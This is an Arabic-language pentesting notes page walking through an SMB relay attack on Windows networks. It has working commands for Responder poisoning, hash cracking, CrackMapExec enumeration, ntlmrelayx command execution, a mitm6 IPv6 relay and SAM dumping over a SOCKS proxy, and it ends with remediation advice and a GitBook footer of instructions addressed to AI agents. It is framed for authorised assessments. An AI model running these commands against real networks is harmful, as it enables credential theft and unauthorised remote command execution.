> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/windows-vulnerabilities/smb-relay-in-windows-environments.md). # SMB Relay في بيئات ويندوز يلتقط SMB relay مصادقة NTLM ويمرّرها إلى مضيف آخر عندما لا يكون توقيع SMB مطلوبًا. تم تصميم سير العمل هذا لبيئات Windows المخوّلة وللتقييمات الداخلية. ## الشروط الواجب التحقق منها * لا يُشترط توقيع SMB على الأقل على أحد الأهداف. * يملك الحساب الملتقط صلاحيات مفيدة على هدف الترحيل. * تُعطَّل خوادم SMB وHTTP الخاصة بـ Responder عندما `ntlmrelayx` يتولى عملية الترحيل. * تُدرَج أهداف الترحيل في `targets.txt`. ## التقاط NTLMv2 باستخدام Responder ```bash python3 /usr/share/responder/Responder.py -I ens33 -w -d ```

Responder listening for Windows name resolution traffic

غالبًا ما تُنشئ شبكات Windows مصادقة تلقائية عبر جرد البرمجيات، والمهام الإدارية، والوصول إلى المشاركات، وحلّ الأسماء.

Responder capturing NTLMv2 authentication

## كسر التشفير دون اتصال ```bash john --wordlist=/usr/share/wordlists/rockyou.txt hashes ```

## استكشاف SMB ```bash crackmapexec smb 192.168.71.0/24 ```

التحقق من صلاحيات الحساب: ```bash crackmapexec smb 192.168.71.0/24 -u '' -p '' ```

Validating SMB access with recovered credentials

## الترحيل باستخدام ntlmrelayx عطّل SMB وHTTP في `Responder.conf`، ثم شغّل Responder: ```bash python3 /usr/share/responder/Responder.py -I ens33 -w -d ``` ابدأ عملية الترحيل: ```bash ntlmrelayx.py -tf targets.txt -smb2support ```

## التحقق من تنفيذ الأوامر عبر الترحيل عندما يكون تنفيذ الأوامر ضمن النطاق، تحقّق من الترحيل أولًا بأمر منخفض الأثر: ```bash ntlmrelayx.py -tf targets.txt -smb2support -c "whoami" ``` ولإثبات أوضح، اكتب سياق التنفيذ إلى ملف مؤقت على هدف الترحيل: ```bash ntlmrelayx.py -tf targets.txt -smb2support -c "cmd /c whoami > C:\Windows\Temp\relay-check.txt" ```

ntlmrelayx executing a PowerShell command

## نسخة IPv6 باستخدام mitm6 ```bash mitm6 -d j0rdan.local ```

ترحيل IPv6: ```bash ntlmrelayx.py -6 -wh 192.168.71.128 -t smb://192.168.71.151 -socks -debug -smb2support ```

ntlmrelayx IPv6 relay with SOCKS enabled

استخدم الترحيل عبر الوكيل: ```bash proxychains cme smb 192.168.71.151 -u '' -p '' -d '' --sam ``` ## النقاط الرئيسية * يعتمد SMB relay بشكل أساسي على عدم اشتراط توقيع SMB. * Responder و `ntlmrelayx` يجب ضبطهما بحيث لا يتنافسان على حركة SMB أو HTTP. * يمكن المعالجة عبر فرض توقيع SMB، وتقليل استخدام NTLM، ومراقبة إساءة استخدام LLMNR/NBNS/WPAD، وتقييد صلاحيات المسؤول المحلي. --- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://hacking-notes.jord4n.pro/ar/windows-vulnerabilities/smb-relay-in-windows-environments.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.